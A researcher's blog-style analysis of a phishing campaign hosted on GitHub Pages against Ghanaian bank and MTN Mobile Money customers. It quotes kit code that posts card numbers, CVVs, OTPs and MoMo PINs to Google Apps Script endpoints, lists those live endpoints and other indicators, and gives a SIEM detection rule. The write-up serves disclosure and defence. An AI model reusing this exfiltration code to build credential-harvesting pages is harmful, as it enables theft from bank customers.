It started, as most terrible discoveries do, with a suspicious email. This one was polished and professional. It had branding and it had a link. That link took me to GitHub.

Now, GitHub is one of the world's most trusted platforms, a place of code, collaboration, and an alarming number of people who think dark mode is a personality including moi. It is also, apparently, where someone decided to build a fully operational phishing factory targeting Ghanaians and impersonating five of Ghana's biggest financial institutions: Ecobank, GCB Bank, Prudential Bank, CalBank, and MTN Mobile Money.

They hosted the criminal enterprise for free, yes.. the audacity, is almost impressive. What I found on that Github account was six reposistories deplyed via Github pages and turning their dream into reality. It was backed by Google Apps Script endpoints collecting stolen card numbers, mobile money PINs, and real-time one-time passwords from victims as they typed them.

In fact, I stood up, strectched, looked at the ceiling fan above my head and shook my head.

This was not just a passive credential dump. There was a human being on the other end of this. A whole person. Sitting somewhere, watching probably a Google spreadsheet like it was the Champions League finals (Madrid is winning right? prove me wrong in the comment section lol), waiting for your OTP to land so they could sprint to your real bank portal or MTN Momo app and use it before it expired. You have just 60 seconds with OTPs and you then stare at a little spinning circle and a message that said "Processing… please wait," feeling responsible and patriotic for updating your account details like a good customer.

Chaley!!

The entire infrastructure cost the attacker nothing. Zero cedis, probably just data. The database was probably a Google spreadsheet. The same tool that I couldn't differentiate between a row and column back in primary school was now being used to log the card details of Ghanaians in real time. I need you to sit with that for a moment.

In fact, no be small hunger wey he/she take set up this whole scheme. The audacity, the patience, the sheer wickedness. One very motivated criminal with zero conscience.

They could have built a legitimate fintech startup lol. The talent was there, the ambition was there, the moral, however, was not available. Probably sold it for internet data to run the operation.

Listen, you did not come here to be scammed. Someone was counting on the fact that you almost did.

Come take a short ride with me as I give you the full breakdown.. the codes, the technique, the kill chain, and everything you need to know so that you or anyone you know are not the next person targeted. I am already at the roadside, the trotro/okada is here. You might want to share this post too, because the person seated behind us on this ride probably banks with one of these five institutions. And they have absolutely no idea what's going on.

Responsible Disclosure Notice: All technical details in this report are based solely on publicly accessible code artifacts. No systems were accessed, probed, or exploited during this research. All IOCs have been reported to GitHub and Google prior to publication. Threat actor infrastructure was fully reported and taken down (github) before this article was made public.

The Day I Found a Phishing Campaign on GitHub

It started with a suspicious email targeted to an individual, Sharon, who made a post about it on Linkedin.

It was a good alarm for anyone not to fall victim. My insticts however told me.. "why not dig deeper?" So I looked up the github profile from the link embeded in that email. I was just looking for one sad little fake gcb portal, go drink water, rest and call it a day. That was rather where I found something far more alarming than a single phishing page.

I found a factory.

None

Over the course of my investigation, I identified six active GitHub repositories operated by what appears to be a single threat actor or a tightly coordinated group who joined github on 24th February, 2026 and running a coordinated, multi-bank phishing campaign targeting customers of some of Ghana's prominent financial institutions:

  • Ghana Commercial Bank
  • Prudential Bank
  • Ecobank
  • Calbank
  • MTN Mobile Money

Each repository was purpose-built to impersonate one bank. Each used the same underlying architecture. And each was actively stealing the most sensitive financial data a person can hand over: their card number, their CVV, their expiry date, and the one-time password that was supposed to be the last line of defence between their account and someone who has absolutely no business being in it.

To understand how a victim feels the moment they realise what just happened, I need you to quickly put yourself in Yakubu's shoes.

You know Yakubu. We all know Yakubu.

The man who jogged behind his coach, chest out, dignity intact, and received the most legendary motivational speech ever delivered on African soil.

"Yakubu manage!! You will feel it like you want to die, but you will not die. Is that clear?? Is that clear?? Is that clear??" Shout ebommmm!!!

That. That is the exact energy of discovering your account has been emptied by a phishing page you visited because it had the right shade of a convincing logo. You will feel it like you want to die. Your chest will be tight. Your hands will be shaking as you call the bank or MTN. But you will not die. What will finish you, however, is the part where the customer service agent calmly informs you that you actually authorised the transaction yourself. With your own OTP. That you typed in. Willingly. Because a fake website told you it was for "account validation."

Is that clear?? Is that clear?? Is that clear??

Good, but don't shout ebommm. Now let us talk about exactly how they built it.

The Architecture of Deception : Email Phishing

None
Screenshot Source: Sharon Prempeh on Linkedin
None
Screenshot Source: Sharon Prempeh on Linkedin

The campaign reaches victims through targeted phishing emails impersonating official bank communications. As seen in the images above, these emails came loaded with everything needed to make a careful person careless :

1. They have the subject lines such as "VALIDATION IN PROGRESS".

2. They carry bank logos and branding cloned directly from official websites.

3. They create urgency.

4. They contain a single call-to-action button linking to the GitHub Pages phishing site.

Once a victim clicks that link, they land on what looks and feels exactly like their bank's official portal.

Why GitHub Pages?

Now, I will be honest with you. I was not entirely surprised by what I found. Around September 2025, I had already come across an active phishing campaign using GitHub Pages in almost exactly the same way. Pretty similare playbook but theirs was more of a recon stage to plan the reall attack. And yes, before you ask.. I am still working on that report. It has been delayed. Not because I am lazy, not because I lost the files, but partly because my laptop gave up on me just after September and also because every single time I sit down to finish it, these people add a new tactic. It is like trying to write a book review while the author keeps sneaking adding new chapters. At this point I have accepted that the report will be done when God says it is done, and not a moment before. But that one is a story for another day. I am filing it under "ongoing" and leaving it there.

Back to what we aretackling today.

The attacker, in a move that can only be described as deeply unbothered, did not rent a server, did not register a domain, and did not do anything that would make a cybersecurity tool raise an alarm. They simply opened a GitHub account and used GitHub Pages, the free, static site which has absolutely no business being this useful to criminals. Free secure hosting on a globally trusted domain at zero cost. The kind of setup that, if you pitched it as a legitimate business idea, would get you funding in under a week.

And this, my friend, is what I call tactically brilliant.

Think about it from the victim's perspective for a second. You click a link and the page loads. You look up at your browser's address bar as you should, as every bank and your cousin and that one WhatsApp forward your auntie sends every month has told you to do.. and you see the little padlock… yeah HTTPS. Then your guard comes down. You think to yourself, "Okay, this is safe, this is real, let me enter my details." And you do. Whole 16-digit card number, CVV, Expiry date all sent with full confidence and zero hesitation.

Now here is the part that will make you want to close this tab and go lie down.

But please don't.

By the time I was actually writing this report and went back to visit those same pages to document them properly, every single one had been flagged as malicious by the browser. Big red warning screen.

"Dangerous site."

The whole dramatic production. Which means at some point between when the victims were entering their details and when I sat down to write this, the pages crossed whatever invisible threshold triggers a browser warning and got added to the blocklist. But by then? The damage may have been done already. The data was already in the spreadsheet. The accounts were probably being accessed if anyone submitted details.

None

The Repository Structure

Each of the six repositories followed the same playbook. The GCB kit, the one I analyzed in full contained exactly three files but I chanced on an extra file (otp.html) from another repository.


📁 acc-to-wallet/
├── index.html                  <- Stage 1: Identity collection
├── details.html                <- Stage 2: Payment card harvesting
├── otp.html                    <- Stage 3: Real-time OTP interception
└── thankyou.html               <- Stage 4: Victim reassurance

Just four HTML files, no server, no database and no back-end code to maintain. The genius, if you can call it that, is in what happens when each form is submitted.

Part 2: Inside the Kill Chain

Stage 1 "Tell Us Who You Are" (index.html)

None

The first page asks for the most innocent-seeming information: your name and email address.


<form id="dataForm" autocomplete="off">
 <input id="firstName" name="firstName" type="text" placeholder="Enter your first name">
 <input id="lastName" name="lastName" type="text" placeholder="Enter your last name">
 <input id="email" name="email" type="email" placeholder="Enter your email address">
 <button type="submit">CONTINUE →</button>
</form>

Notice autocomplete="off" which is a deliberate evasion technique to suppress browser password manager warnings that might alert a security-aware user.

When you click CONTINUE, two things happen simultaneously:

  1. Your name and email are POSTed to Google Apps Script Endpoint #1 (I said #1 because they actually used about 3 diffrent endpoints), where they land in a spreadsheet the attacker is watching. Maay not really be a spreadsheet but if I could reason and correlate this enough, its likely a spreadsheet to store details of users.
  2. Your data is saved to your browser's localStorage thereby creating a session that links your identity to everything you enter next.
//javascript
localStorage.setItem('firstName', firstName);
localStorage.setItem('lastName', lastName);
localStorage.setItem('email', email);
// Then redirect to details.html after 800ms delay

The 800ms artificial delay is intentional. It displays a Processing… spinner which makes the fake portal feel real.

Stage 2 "Now Give Us Your Card" (details.html)

None
None

This is where the campaign becomes a serious financial crime. The second page asks for your complete payment card credentials:

<input type="tel" name="phone_number" placeholder="024XXXXXXX">
<input type="text" name="atm_card_number" placeholder="16 Digits Card Number">
<input type="text" name="atm_expiry_date" placeholder="MM/YY">
<input type="text" name="cvv_number" placeholder="Enter 3 digits CVV Number">

In one form submission, the attacker receives everything needed to commit a card-not-present (CNP) fraud on any online merchant globally:

- Full 16-digit Primary Account Number - Expiry date - CVV - Phone number (possibly for SIM-swap attacks) - Email address (silently carried over from Stage 1)

The email is injected into a hidden field from localStorageThe victim never sees it, but it arrives in the attacker's spreadsheet perfectly linked to the card data:


const emailField = document.getElementById("emailField");
emailField.value = storedEmail;
Object.defineProperty(emailField, "value", { writable: false }); // Tamper-proof

The submission uses a fetch request with `mode: no-cors which is a specific browser API setting that suppresses all network error visibility in the browser console. To the victim, everything appears normal. The data leaves the page silently.


await fetch(scriptURL, {
 method: "POST",
 body: new FormData(form),
 mode: "no-cors" // Silent exfiltration - no browser errors shown
});

There is also some kind of a session integrity gate lol. If someone lands on details.html directly without going through index.html first, they are bounced back. The attacker only wants complete data records, not partial submissions lol.

Stage 3 "One More Step: Enter Your OTP" (otp.html)

None

This is the page that changed everything about how I assessed this campaign. For the normal repos that impersonated the banks, there was no otp.html. Hence I possibly think this might be integrated sooner or later as its already running in a separate repository.

When I first found index.html and details.html, I thought: credential harvesting operation, moderate sophistication, data stored for later use.* Standard phishing.

Then I found otp.html.

<form id="otpForm">
 <label for="otp">Validation OTP</label>
 <input type="text" id="otp" name="validation_otp" placeholder="Enter OTP">
 <button type="submit">Validate OTP →</button>
 <div class="notice" id="status">Your credentials are secured.</div>
</form>

At first glance it looks the same as the other pages. But look at what happens on submission:

//javascript
const response = await fetch(WEBAPP_URL, { method: "POST", body: formData });
const text = await response.text();
const json = JSON.parse(text);
if (json.result === "success") {
 window.location.href = "thankyou.html";
} else {
 statusEl.textContent = "Submission failed: " + (json.message || "Unknown error");
}

Stage 3b: "Hand over your Momo Pin" (verify.html)

None

So, pardon me. I found this when I was almost ending the report.

The most recent addition to the phishing kit arsenal is verify.html A page impersonating MTN Ghana's Mobile Money service.. It presents victims with a lure exploiting Ghana's active bank-to-MoMo account linking initiative, prompting them to enter their 4-digit MoMo PIN to "activate" the link.

The stolen PIN is transmitted to a fourth Google Apps Script endpoint (AKfycbxJ1nxxUbrn8N7ancnw_Tc2gUJBJbvsOzuwRR5wJYNS1bF_0bckmYAYeItN1-eEsNbT) and, upon the operator confirming receipt, the victim is automatically redirected to otp.htmlwhere the transaction OTP the attacker just triggered on the real MTN MoMo platform is intercepted.

Together, verify.html + otp.html form a two-stage mobile money account takeover module that is both technically elegant and financially devastating. With the victim's MoMo PIN and the transaction OTP captured in real time, the attacker has everything needed to fully drain a mobile wallet in under two minutes.

This page also confirms the sixth repository identified in this campaign is dedicated specifically to mobile money fraud and not bank card fraud as I initially thought.. indicating the threat actor has deliberately built parallel attack pipelines for both the formal banking sector and the mobile money ecosystem, covering virtually the entire spectrum of digital financial services available to Ghanaians.

This lure is specifically engineered for the current Ghanaian financial regulatory context. Victims are primed to expect legitimate requests to "link" their MoMo to their bank account, making this lure exceptionally convincing in the current environment.

The attacker(s) are following Ghanaian financial news and regulatory developments and building lures around them.

None

Do you see the difference?

Stages 1 and 2 use mode: no-cors thus they kind of fire and forget. They POST the data and move on regardless of what the server returns.

Stage 3 waits. It's like being reactive. It parses a JSON response. It acts on json.result. It can show the victim an error message. It can prompt them to try again. This just made me think of the fact that there is a human on the other end actively watching.

The Real-Time Attack Flow

Here is what is actually happening when a victim reaches otp.html:

  1. Victim fills in their name and email (Stage 1)
  • Attacker's spreadsheet: Row added — [Prince L, xxxxxx@xxxxxx.com]

2. Victim fills in their card details (Stage 2)

  • Attacker's spreadsheet: Row updated — [card no., CVV, expiry]

3. Victim is told to link their momo to their bank

  • Meanwhile, attacker tries to log into MTN Momo app
  • MTN sends a real OTP to the victim's real phone

4. Victim receives the real OTP from MTN

  • Victim thinks this confirms the site is legitimate
  • Victim enters the OTP into the fake page

5. OTP is POSTed to a GAS Endpoint (told you from the start lol)

  • Attacker sees it in real-time in their spreadsheet
  • Attacker enters the OTP into the real Ecobank portal

6. Attacker is now logged into the victim's real bank account

  • Attacker's script returns {"result": "success"} to the victim's browser
  • Victim is redirected to thankyou.html"Your account has been validated!"

7. Attacker transfers funds, adds beneficiaries, changes contact details. Victim has no idea. They believe everything went smoothly.

This attack pattern is known in the security industry as Adversary-in-the-Middle (AiTM) or Real-Time Phishing (RTP). The security feature your bank added specifically to protect youn(OTP) becomes the tool the attacker uses to defeat your bank's own defenses.

The attacker's entire operation window is the validity period of a bank OTP, typically 30 to 120 seconds. They are actively monitoring a Google Sheet, waiting for that window, and moving with precision.

None
Threat actors have the capability of expanding this scheme in different ways to gain money!!
None

Part 3: The Exfiltration Backend (Google Apps Script)

All six repositories in this campaign use Google Apps Script as their data exfiltration backend. In total, I identified three GAS endpoints across the repositories:

Why Google Apps Script?

Google Apps Script (GAS) is a legitimate automation platform built into Google Workspace. Think of it as JavaScript that runs on Google's servers, with easy access to Google Sheets, Gmail, and Drive.

For an attacker, it is nearly perfect:

  • The domain script.google.com is trusted everywhere since firewalls, URL filters, and email security tools almost never block it
  • No server required. Google provides the compute infrastructure for free.
  • Data lands in Google Sheets (probably)… polished, real-time dashboard the attacker can monitor on any device.
  • HTTPS encrypted in transit.
  • Linked only to a Google account which was almost certainly created with a fake or stolen credentials.
  • Highly available. Google's infrastructure doesn't go down. So let me put it this way.. the C2 channel the attackers used is always online.

The backend script the attacker deployed looks like this on the server-side (just a hypothesis):


function doPost(e) {
 const sheet = SpreadsheetApp.getActiveSheet();
 const data = e.parameter;
sheet.appendRow([
 data.email,
 data.phone_number,
 data.atm_card_number,
 data.atm_expiry_date,
 data.cvv_number,
 new Date() // Timestamp
 ]);
// For OTP endpoint - attacker may manually sets result
 return ContentService
 .createTextOutput(JSON.stringify({ result: "success" }))
 .setMimeType(ContentService.MimeType.JSON);
}

Every time a victim submits a form, a new row appears in the attacker's spreadsheet in real time, with a timestamp.

Part 4: Six Repositories, Five Banks (The Scale of the Operation)

Just one suspicious link within the phishing email revealed an entire coordinated infrastructure. At the time of my investigation, I identified six active GitHub repositories under what appears to be a single threat actor account, each targeting a different Ghanaian bank: Ecobank, GCB, Prudential Bank and Calbank.

Repository 6 is particularly alarming. Rather than impersonating a bank's login portal, it appears specifically designed to intercept mobile money and wallet-to-account transfer OTPs.. a nod to Ghana's massive mobile money ecosystem (MTN MoMo, Telecel Cash, AirtelTigo Money). This is not an afterthought. This is a threat actor who understands the Ghanaian financial landscape deeply.

A small but definitive geographic clue is embedded in `details.html`:

html
<input type="tel" name="phone_number" placeholder="024XXXXXXX">

024 is the prefix for MTN Ghana mobile numbers. This is not a generic placeholder. The attacker specifically designed this form for Ghanaian bank customers. Combined with the specific institutions targeted… major Ghanaian banks, this campaign is unambiguously aimed at the Ghanaian public.

This is consistent with a broader pattern documented by the Ghana Association of Banks in their March–May 2025 Industry Fraud Report, which identified mobile-channel fraud and OTP theft as the fastest-growing threat vectors in the Ghanaian banking sector.

Part 5: Mapping the Attack to MITRE ATT&CK FRAMEWORK

None

For security teams and researchers, here is how this campaign maps to the MITRE ATT&CK framework:

Kill Chain Summary:

  1. RECONNAISSANCE: Victim email and name collected for targeting.
  2. WEAPONIZATION: 4-page HTML kit + 3 GAS endpoints assembled.
  3. DELIVERY: Phishing link sent via email to bank customers.
  4. EXPLOITATION: Victim submits credentials trusting fake bank portal.
  5. INSTALLATION: localStorage session persists across 4 pages.
  6. Command & Control: GAS bidirectional channel.
  7. ACTIONS ON OBJECTIVES: Funds transferred from victim account

VIOLATION OF PAYMENT CARD INDUSTRY STANDARDS

PCI DSS REQUIREMENT 3.2 — Prohibition on CVV Storage: The Payment Card Industry Data Security Standard (PCI DSS) absolutely prohibits the storage of card security codes (CVV/CVC) after authorisation under any circumstances. Endpoint 2 is specifically engineered to collect and store CVV codes in probably a Google Sheet, in direct and absolute violation of PCI DSS Requirement 3.2. This violation affects the entire payment card ecosystem and constitutes grounds for mandatory reporting to card scheme security teams (Visa, Mastercard).

Part 6: What Makes This Campaign Different?

I want to be direct about why I think this campaign deserves attention beyond the typical phishing writeup.

1. Infrastructure Sophistication Disguised as Simplicity

There is no malware and ncomplex command and control server. Just HTML files containing embedded javascript, a free GitHub account, and a probably a Google Sheet.

In my view, that simplicity is the sophistication. It means:

  • Trivially reproducible and scalable to new banks
  • Near-zero operational cost
  • Almost no digital footprint to trace
  • Extremely fast deployment as a new bank target can be live within hours.

2. The OTP Interception Changes the Risk Profile Entirely

Most phishing campaigns harvest data for later use but here, the attacker collects cardsptobably to sell or use. The window for the victim's bank to detect and block fraud is measured in days. This campaign operates in real time. The window is just 60 seconds. By the time the victim finishes reading the "Your account has been validated!" message, the attacker may have already initiated a transfer.

3. Multi-Bank Targeting is Coordinated, Not Opportunistic

Six repositories impersonating five banks with consistent architecture across all kits probably is not a script kiddie who found a phishing template and deployed it once. This is a deliberate, maintained operation with:

  • Version control (hosted on GitHub)
  • Modular design (swap the branding, keep the backend)
  • Segmented data collection (separate GAS endpoints per bank, per stage)
  • Operational security awareness (different endpoints so one takedown doesn't burn the whole operation)

Honestly, I will hasten putting together the report for the initial phishing campaign I identified before this. My conclusions on that phishing scheme was that, it was just the recon stage to make a better phishing campaign that will hit hard. And yeah, after a couple of months.. we see this campaign targeting banks in Ghana. Hmmmmm….

It Exploits Ghana's Specific Financial Ecosystem

The mobile money repository (otp.html) demonstrates that the attacker understands the Ghanaian fintech landscape, specifically the interoperability between bank accounts and mobile wallets. Ghana's rapid digitization of financial services has outpaced public security awareness. This campaign is exploiting that gap.

Part 7: The Threat to Real People

Let me make this concrete.

A typical victim of this campaign might receive an email claiming their bank account needs to be "validated" due to a planned system update on the bank's platform. They see a polished, professional page in the bank's exact colors. They enter their name and email. They enter their card number and their CVV. They receive a real text message from their real bank with a real OTP and because they received that real OTP, they are now more convinced the site is legitimate.

They enter the OTP.

Within 60 seconds, the attacker is inside their MTN Mobile Money account.

The attacker can sweep the balance in minutes. By the time the victim calls their bank or MTN, the money is gone.

For many Ghanaians, this is not just a financial loss. This can be a devastating, life-altering event fr.

Well, we can agree that the typical Ghanaian who uses e-banking may be smart enough not to fall for such a phishing scheme. But how about those who will fall for it? Remember, constant user education is essential as it's our first line of defence.

Part 8: Indicators of Compromise

These IOCs have been reported to all relevant platforms. Security teams should use them as needed.

Email:

ebanking.gcb.gh@gmail.com

GitHub Pages URLs:

https://bankportal-bog.github.io/TnC-s/
https://bankportal-bog.github.io/acc-to-wallet/
https://bankportal-bog.github.io/ecobank/
https://bankportal-bog.github.io/calbank/
https://bankportal-bog.github.io/gcb/
https://bankportal-bog.github.io/prudential/

File Hashes:

Index.html

MD5 - af2d0ca8ce3c5a4ca73a5d005ce465d3
SHA-1 - 1405e32b61d85a2ccc2a1f8bfea84e867c77683d
SHA-256  - 901af1793735d075a009ff90fb0097b77a8b58752b9785c0c4f7febacfd79edd
File type - HTML

MD5 - 93b12fe412262933b1a6155d92a11cb3 
SHA-1 - 67766f58efd9021e9b65be53219bf1b9f7a8f4cb 
SHA-256 - 358d7b9973cd1207ad3d3352c670fbba8cb27a5c271d29eefe38200d623a1eef 
File type - HTML 

MD5 - 50817ab25851418c6c4291adc8ce6266 
SHA-1 - 8fd73ea5be16ba75af8bbb8a85399f19c21a78b9 
SHA-256 - 5753cc28a52416c43ac7b1e8a29eee75733572ff5b26f53267766cc4f0e0023e 
File type - HTML 

MD5 - 95975b5a14c4718526e8650096719aa9 
SHA-1 - 6d1a057e42e30f4e99818d813c008ab172c7654e 
SHA-256 - 474e156c57a94b2a06d2f97adf71826b2b751576e3929b3d1dba9f403e772e3c 
File type - HTML 

MD5- 20475526d9c90a4dc0b1aa72fb2dca89 
SHA-1 - 3769893c02247eabb94b72fbc4d1dcd0489728f1 
SHA-256 - 2a6e11ba2f2d5634abef2aa5c5b8b717789df7a931f4c4ead151286ce7ccaf11 
File type - HTML

details.html

MD5 - 3bcebe682fe0880bc4e8fb9e57349e29 
SHA-1 - 1832807e7008ee842988943ddd4c056396926752 
SHA-256 - 290b4c28ac93c981b465df47304fe0d08af27cd32f1116a84d547eb6465aca89 
File type - HTML 

MD5 - d09aac5bad232d6d54afd551640b8fb5 
SHA-1 - ace6d0f3d2dcf8249e7b4a3680addc0c1fbd6d44 
SHA-256 - 4d925ea706d3666115edd62a7ac79766a4449558038440110252de3e5121255e 
File type - HTML 

MD5 - 65ecd0b8d837288dd27948354c8528b4 
SHA-1 - 5d67bca21f84a2f8cfed84312ae5d0658ede27c0 
SHA-256 - 479f7b375230cd5c393d5d66291d709c1c16005cb2901ec43af05306bdb3d813 
File type - HTML 

thankyou.html

MD5 - bf2febef6aa7815bed358073a992a0d7 
SHA-1 - 9911816d28cd1a97a36082337ecd54e1762fc21d 
SHA-256 - f7619d21dab1639e7e91d637d7bc69f3782b193e158d473b0c155a364ba2bc3d 
File type - HTML 

MD5 - 7b54636fe466eaf73675a5d7fa1948f4 
SHA-1 - ebe321c3cd8a4e19d944cf226e7e8a7f696bf8d9 
SHA-256 - 9be2e9afaa2526ba268f1368e1a80e02b5cf8332daef57953627aedcc4067001

MD5 - 8d5945b9b806eeeb6bdfe415775a65d8 
SHA-1 - ca39cc323bedd91c5c3ebee25ea26512016052b1 
SHA-256 - 0c0002f07b8944b575f7566c4ff583bc337740e22b3ac75920c559b46b63733b 
File type - HTML 

MD5 - a7cb52187beca6be1e8664840449b58b 
SHA-1 - 4a1c2001bf238b5d4255093e3c734f8110d2df23 
SHA-256 - 4de4cd2a4354551694830f01ede5e75c7e54bcbaa1b8aa931deda2d758ad0b0c 
File type - HTML 

verify.html

MD5 - fcdff02d58baef342a1b89a6ab162ef4 
SHA-1 - 5f3c4e7178bb364e3424c38538f8f5a10af1a105 
SHA-256 - 7c02722018e171596813879b77faf3aa71563283103a3d585a838a46fe14b93e 
File type - HTML 

Zipped-Files:

SHA-256 - CE82A1DA46EBAA680EC279D9CF064D9065DE414D1CB6AA099CA354C28FD56AFC
SHA-256 - 5A29E06058DA004138D73255E3E6045870CB9D6B5C85DA7E900647E9AFCDE8FE
SHA-256 - CA10BB7B9C4603288302D6EE6B28D2D7B43487999597E2E6AD36ADB53A62E6E6
SHA-256 - A20EE61E07A65A331AA99DD7901279704231B4D37CCADE0BBF995535C7016CD7
SHA-256 - 1F2D18F99773283F8F730226C0646BFE9E4EFE878DD094E502C41FECDB85D497
SHA-256 - C26530EB3B3C19210F9EDD6CFBAE2825723FFCF4AEECD50FA7EC8EEADC6094FC

Google Apps Script (GAS)endpoint URLs:


https://script.google.com/macros/s/AKfycbxna9EgM4s8zbNQTkfzcHfADid6CE7MEMmXAAIX2RTU6YfT-GkHRxEIWPVA81Qt-oO0/exec
https://script.google.com/macros/s/AKfycbzOvEHYd8UZ-t-OzhOUYEpVpP5TFD1ue-UolYxIRUWDz5P9TejAoSyqwz7cfQpIulMC/exec
https://script.google.com/macros/s/AKfycbxeIPpKVQOagylbISVnIckuJeazhERR8IYTxtJQFhCqRNJmawsQ-b4_b5pkSQRBldxN/exec
https://script.google.com/macros/s/AKfycbxJ1nxxUbrn8N7ancnw_Tc2gUJBJbvsOzuwRR5wJYNS1bF_0bckmYAYeItN1-eEsNbT/exec

String Indicators :

"ECOBANK ONLINE VALIDATION"
"A BETTER WAY TO BANK YOUR WAY"
"ACCOUNT TO WALLET ACTIVATION"
"Link your MoMo to your Bank Account Below"
"Validation OTP" [in page title, combined with banking context]
"atm_card_number" [in HTTP POST body]
"validation_otp" [in HTTP POST body]
"cvv_number" [in HTTP POST body to script.google.com]

SIEM Detection Rule:


Alert on: HTTP POST to script.google.com/macros/s/*/exec
Where POST body contains ANY of:
 — atm_card_number
 — cvv_number
 — validation_otp
 — atm_expiry_date
Classification: HIGH — Potential phishing kit exfiltration

GAS Deployment ID Pattern (Regex)


/AKfycb[A-Za-z0–9_\-]{50,}/

Any URL containing this pattern and accepting POST requests with financial field names should be treated as a potential phishing exfiltration endpoint.

Part 9: What You Should Do

If You Are a Bank Customer

  • Do not click links in emails asking you to "validate," "verify," or "update" your bank account. Go directly to your bank's official website by typing the URL yourself.
  • Your bank will NEVER ask for your CVV or OTP via a website form or phone call. Full stop. Or I should increase the volume? lol
  • If you receive an OTP you did not request, someone is attempting to log into your account right now. You have two options: ignore or call your bank immediately.
  • Check your transaction history daily especially if you have recently clicked any banking link.
  • If you believe you have been compromised, call your bank's help line immediately and request a card block.

If You Are a Security Professional

  • Block all identified GAS endpoint URLs at the firewall level
  • Submit all IOCs to your SIEM platform
  • Consider alerting on any HTTP POST to script.google.com containing financial field names from endpoints outside your organization
  • Share this report and the IOCs

If You Are a Developer or GitHub User

  • Extract and preserve IOCs then report the GitHub account. I mean, I did that before publishing this piece but just in case you come across something like this, do not wait.. just report. The sooner the accounts are taken down, the better.
  • Report the GAS endpoints to Google. (Which I also did)

Part 10: Disclosure Timeline & Reporting Actions Taken

2026–02–24: The github account involved was created. 2026–02–25: Initial phishing email identified. 2026–02–26: HTML source code of kit recovered and analyzed 2026–02–26: Six repositories and GAS endpoints identified. 2026–02–26: All IOCs reported to:

  • GitHub
None
Screenshot of abuse report sent to Github
None
Screenshot of Github confirmation of the report and taking down the github acoount
None
Screenshot of Github confirmation of the report and taking down the github acoount
None
Screenshot of the blogger account after it had been removed
  • Google Workspace Abuse
None
  • Google Safe Browsing
None
  • VirusTotal

Conclusion

What I found on GitHub was not a sophisticated nation-state operation. It did not use zero-day exploits or even malware. It used HTML, JavaScript, a free GitHub account, and Google Apps Script.

That is exactly what makes it dangerous.

The barrier to entry for this type of attack is almost zero. The tools are free as well as the hosting. The data collection is free and the return on investment.. if even a handful of victims submit their card details and OTPs can be enormous relative to the cost and effort.

The Ghanaian banking sector is undergoing rapid digital transformation through mobile money, digital wallets, and online banking. These are genuinely improving the lives of millions of people. But every new digital channel is a new attack surface, and the awareness of ordinary customers has not kept pace with the sophistication of the threats targeting them.

The attacker behind this campaign knows that. They built repositories for five different banks and I know more banks would be added if the account wasn't taken down. They even added a mobile money OTP interception kit. They are not guessing oo, they are targeting a specific population with specific knowledge of how that population banks.

Security is a shared responsibility. Banks need to invest in customer education, and proactive abuse monitoring. The Cyber Security Authority is already doing a wonderful job on creating and maintaining public awareness on phishing campaigns that are as sophisticated as the attacks they counter. And individuals need to know the rules accordingly.

No one legitimately will ever ask for your CVV or OTP on a web form.

If this report helped you understand the threat, share it. The best defense against phishing is an informed target.

References

  1. Ghana Association of Banks — Industry Fraud Report, March–May 2025
  2. Ghana Cyber Security Authority (CSA) — CERT-GH Advisory
  3. MITRE ATT&CK Framework
  4. GitHub Abuse Reporting
  5. Mastering localStorage in Javascript
  6. PCI Requirements For Storing Credit Card Information

Prince Lassey. LinkedIn